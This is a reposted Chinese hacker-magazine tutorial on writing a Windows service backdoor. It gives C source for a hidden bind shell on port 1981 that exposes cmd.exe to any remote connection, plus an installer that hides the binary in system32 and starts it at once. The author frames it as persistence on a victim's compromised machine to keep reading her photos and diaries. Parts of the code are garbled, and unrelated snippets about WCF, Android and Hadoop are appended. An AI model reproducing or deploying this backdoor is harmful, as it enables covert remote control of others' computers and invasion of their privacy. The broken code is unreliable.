服务级后门自己做——创建服务

以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,还有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道如何对付这些老方法了。为了适应新时代木马后门技术的发展要求,一种利用Windows NT/2000/XP系统服务的后门产生了,现在的WinShell,WinEggDrop等众人皆知的Telnte扩展后门都利用了这种方式。相信很多小菜们对这种后门技术并不了解,所以,我在这里就充个大头,给大家传授教业解解惑吧(受害MM目光呆滞,一脸绝望:有了你们这帮人,天下什么时候才能“无贼”啊?)。

  前置原理

  Windows NT/2000/XP提供的服务既可以指一种特定的Win32进程,也可以指内核模式的设备驱动程序。操作系统的一个称为“服务控制管理器SCM”的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们可以利用的服务是一个在Windows NT/2000/XP下执行的程序。当我们打开“控制面板?管理工具?服务”,就可以看到右边有一堆的服务,如图1所示。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。


图1

  “服务”本身是Windows NT/2000/XP下客户/服务器软件的合理选择,因为它提供了像Unix下后台程序Daemons(守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程序成为可能。像我们熟知的RPC服务,病毒扫描程序以及备份程序都是很适合作为服务进程。
服务能被我们利用作为后门实现自启动,是因为它有三个很重要的特性:

1. 服务可以被指定为自启动,在利用传统的注册表修改RUN键值,添加ini自启动项等方法的基础上又多了一种选择。
2. 服务可以在任何用户登录前开始运行,我们可以在服务启动时加入杀防火墙的代码。
3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。

  服务大都是由服务控制程序在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services中都可以找到相应的一个关键项。服务区别于一般Windows NT/2000/XP程序的主要之处在于服务与服务控制管理程序的合作,在后面的编程中我们将会体会到这一点。

  编程实现

  一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:

void main()
{
 SERVICE_TABLE_ENTRY ServiceTable[] = 
 {
  {"scuhkr", BDServiceMain},
  {NULL, NULL} //"哨兵"
 };
 //连接到服务控制管理器
 StartServiceCtrlDispatcher(ServiceTable);
}

路人甲:什么,就这么短?你想侮辱广大鸟儿的智慧?呵呵,先别急,听我慢慢道来:上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:
VOID WINAPI BDServiceMain(
  DWORD dwArgc,  //lpszArgv参数个数
  LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,可以在后面被
                      StartService()来调用
);
SERVICE_TABLE_ENTRY结构数组要求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程序服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,它为每个服务启动一个线程,一直等到它们结束才返回。
 本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
 DWORD dwThreadId;  //存放线程ID
 
//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。
//BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作
 if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
                     BDHandler))) 
  return;

//表示该服务私有
 ServiceStatus.dwServiceType  = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
 ServiceStatus.dwCurrentState  = SERVICE_START_PENDING; //
//服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求
 ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP
                      | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
 ServiceStatus.dwServiceSpecificExitCode = 0;
 ServiceStatus.dwWin32ExitCode        = 0;
 ServiceStatus.dwCheckPoint            = 0;
 ServiceStatus.dwWaitHint              = 0;
//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知
 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//开始运行服务
 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
 if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
  return;

ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程序
 if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))

ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

WaitForSingleObject(hEvent, INFINITE);

CloseHandle(hThread);
 ExitThread(dwThreadId);
 CloseHandle(hEvent);

return;
}

  上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler()的实现代码:
void WINAPI BDHandler(DWORD dwControl)
{
 switch(dwControl)
 {
 case SERVICE_CONTROL_STOP:
//等待后门程序的停止
  ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
  
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
  SetEvent(hEvent);
  
  ServiceStatus.dwCurrentState = SERVICE_STOP;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
//停止
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
  break;
 
 default:
  break;
 }
}

  服务控制函数搞定了,下面就剩下主体的后门函数了。本程序借用了N多前辈翻写过了无数次的后门程序,通过开一个端口监听,允许任何与该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程很简单,也就不多解释了,黑防上都有N期介绍了,代码如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
 WSADATA WSAData;
 struct sockaddr_in RemoteAddr;
 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
 PROCESS_INFORMATION processinfo;
 STARTUPINFO startinfo;
 
 WSAStartup(MAKEWORD(2,2),&WSAData);
 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 RemoteAddr.sin_family = AF_INET;
 RemoteAddr.sin_port = htons(1981);  //监听端口
 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
 
 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
 listen(ServerSocket, 2);
 
 varA = 0;
 varB = 0;
 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
 
 dowhile((varA || varB) == 0);
 
 GetStartupInfo(&startinfo);
 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 startinfo.hStdInput = hReadPipe;
 startinfo.hStdError = hWritePipe;
 startinfo.hStdOutput = hWritePipe;
 startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口

char szAPP[256];
 GetSystemDirectory(szAPP,MAX_PATH+1);
 
  strcat(szAPP,"\\cmd.exe");
//开cmd进程
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, 
   NULL, NULL, &startinfo, &processinfo) == 0)
  {
   printf ("CreateProcess Error!\n");
   return -1;
  }
 
 while (true) 
 {
  ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
 }

return 0;
}

//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD nByteToWrite, nByteWritten;
 char recv_buff[1024];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 CreatePipe(&hReadPipe,
  &hWriteFile,
  &pipeattr,
  0);
 
 varA = 1;
 while(true)
 {
  Sleep(250);
  nByteToWrite = recv(ClientSocket,
   recv_buff,
   1024,
   0);
  printf("%s\n", recv_buff);
  WriteFile(hWriteFile,
   recv_buff,
   nByteToWrite,
   &nByteWritten,
   NULL);
 }
 return 0;
}

//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD len;
 char send_buff[25000];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 
 CreatePipe(&hReadFile,
  &hWritePipe,
  &pipeattr,
  0);
 
 varB = 1;
 while (true)
 
 return 0;
}

  在我们成功入侵目标MM主机后,看了MM的照片,读了MM的日记……此处省略恶行30条。在拍屁股走人之前,怎么也要留个后门,方便下次继续看新的照片,继续读MM的小秘密(呵呵,大家不要误会,我从来不干这种事D)。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL,  //服务控制管理器句柄
 hService = NULL;     //服务句柄
 char szSysPath[MAX_PATH]=, 
szExePath[MAX_PATH]=;   //我们要把我们后台执行的程序放在这里,一般就是在\\admin$\\system32\里,隐蔽性高

if ((hSCManager = OpenSCManager(NULL,  //NULL表明是本地主机 
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
 {
  pirntf("OpenSCManager failed\n");
  return;
 }
 
 GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
 strcpy(szExePath, szSysPath);
 strcat(szExePath, "scuhkr.exe");  //应用程序绝对路径

if ((hService=CreateService(hSCManager,  //指向服务控制管理数据库的句柄
        "scuhkr",    //服务名
        "scuhkr backdoor service", //显示用的服务名
        SERVICE_ALL_ACCESS, //所有访问权限
        SERVICE_WIN32_OWN_PROCESS, //私有类型
        SERVICE_DEMAND_START, //自启动类型        SERVICE_ERROR_IGNORE, //忽略错误处理
        szExePath,  //应用程序路径
        NULL, 
        NULL, 
        NULL,
        NULL,
        NULL)) == NULL)
 {
  printf("%d\n", GetLastError());
   return;
 }

//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
 if(StartService(hService, 0, NULL) == FALSE)
 { 
  printf("StartService failed: %d\n", GetLastError());
  return;
 }
 printf(“Install service successfully\n ”);
 CloseServiceHandle(hService);  //关闭服务句柄
 CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}

 Ok,一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录\system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”,如图2所示。看到安装服务的信息了?是不是很简单呢!


 
图2

  至于以后不想再要这个MM的肉鸡了,又不想留下把柄什么的,要删除服务怎么办?读者就自己当做练习吧。还有一点要说的是,本人也是临时抱佛脚,狂啃了几天关于NT系统服务方面的编程,如果有什么不对,欢迎大家批评指正!
(文中涉及到的程序已收录到杂志配套光盘“杂志相关”栏目,按文章名查找即可)

http://www.cnblogs.com/lzjsky/archive/2010/09/06/1819053.html

时间: 2024-12-09 20:13:00

服务级后门自己做——创建服务的相关文章

C# WCF之用接口创建服务契约、部署及客户端连接

服务契约描述了暴露给外部的类型(接口或类).服务所支持的操作.使用的消息交换模式和消息的格式.每个WCF服务必须实现至少一个服务契约.使用服务契约必须要引用命名空间System.ServiceModel . ServiceContractAttribute OperationContractAttribute 1,先创建一个类库为ClassLibrary1,在创建一个接口interface1. 2,添加引用和命名空间,System.ServiceModel 3,在接口里代码如下: namespa

Android 创建服务(一)

Service是Android中四大组件之一,在Android开发中起到非常重要的作用,是一个没有用户界面的在后台运行执行耗时操作的应用组件. 通过startService()启动的服务处于“启动的”状态,一旦启动,service就在后台运行,即使启动它的组建被销毁,它还是处于运行状态. service可以在很多场合的应用中使用,比如播放多媒体的时候用户启动了其他Activity这个时候程序要在后台继续播放,比如检测SD卡上文件的变化,再或者在后台记录你地理信息位置的改变等等,总之服务总是藏在后

WIN32服务程序(一):创建服务

MSDN中有安装服务的例子Installing a Service(可点击进入),我们这里的创建服务,和MSDN里的例子基本上是一样的.这里做一些简单的说明: 打开控制面板,管理工具,服务.我们看到的集合了服务的界面也叫做服务控制管理器(SCM). 用程序创建服务,首先要用OpenSCManager函数,建立一个到服务控制管理器的连接,并打开指定的数据库.将该函数的返回的指定服务控制管理器数据库的句柄传入CreateService函数.完成服务创建工作.最终的效果,程序运行之后,在服务控制管理器

【企业通讯录app番外篇】怎么样创建服务端?

本文将指导大家如何去创建企业通讯录app的服务端 除了获取图片,客户端与服务端唯一的交互就是获取最新数据,如果该用户不能获取数据(用户名密码错误.用户离职被删)则返回空. 1:典型的交互流程如下: 用户名与密码 app    -----------------------------> 服务端 app   <-----------------------------  服务端 json格式的通讯录 2:接下来讲讲json通讯录需要哪些属性. 一共需要7个,见下文. {"UserNam

Spring Cloud构建微服务架构-创建“服务提供方”

下面我们创建提供服务的客户端,并向服务注册中心注册自己.本文我们主要介绍服务的注册与发现,所以我们不妨在服务提供方中尝试着提供一个接口来获取当前所有的服务信息. 首先,创建一个基本的Spring Boot应用.命名为eureka-client,在pom.xml中,加入如下配置: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <parent> <groupId>org.spr

Angular5学习笔记 - 创建服务(九)

一.创建服务 ng generate service service-name #简写 ng g s component-name ng g s services/userService 二.效果 三.开发服务 修改\src\app\services\user-service.service.ts文件 import { Injectable } from '@angular/core'; import { Http } from '@angular/http'; import 'rxjs/add

关于dubbo创建服务和引用服务时,会报错:cvc-complex-type.2.4.c: The matching wildcard is strict, but no declaration can be found for element 问题的解决

在跟着做淘淘商城项目时,用到了dubbo,作为一个SOA架构的项目,分为表现层与服务层,自然地,为了各个层之间解耦合(或者最大限度地松耦合),我们使用了dubbo这样一个alibaba开源的分布式服务框架,该框架最大的特点就是利用分层的方式来架构,从服务模型的角度来看,Dubbo采用的是一种非常简单的模型,要么是提供方提供服务,要么是消费方消费服务,所以基于这一点可以抽象出服务提供方(Provider)和服务消费方(Consumer)两个角色. 但是在appplicationContext-se

java版spring cloud+spring boot 社交电子商务平台-创建“服务提供方”

下面我们创建提供服务的客户端,并向服务注册中心注册自己.本文我们主要介绍服务的注册与发现,所以我们不妨在服务提供方中尝试着提供一个接口来获取当前所有的服务信息. 电子商务社交平台源码请加企鹅求求:叁五叁陆贰肆柒贰五玖 首先,创建一个基本的Spring Boot应用.命名为eureka-client,在pom.xml中,加入如下配置: <parent> <groupId>org.springframework.boot</groupId> <artifactId&g

hadoop开启Service Level Authorization 服务级认证-SIMPLE认证-过程中遇到的坑

背景描述: 最近在进行安全扫描的时候,说hadoop存在漏洞,Hadoop 未授权访问[原理扫描],然后就参考官方文档及一些资料,在测试环境中进行了开启,中间就遇到了很多的坑,或者说自己没有想明白的问题,在此记录下吧,这个问题搞了2天. 环境描述: hadoop版本:2.6.2 操作步骤: 1.想要开启服务级认证,需要在core-site.xml文件中开启参数hadoop.security.authorization,将其设置为true <property> <name>hadoo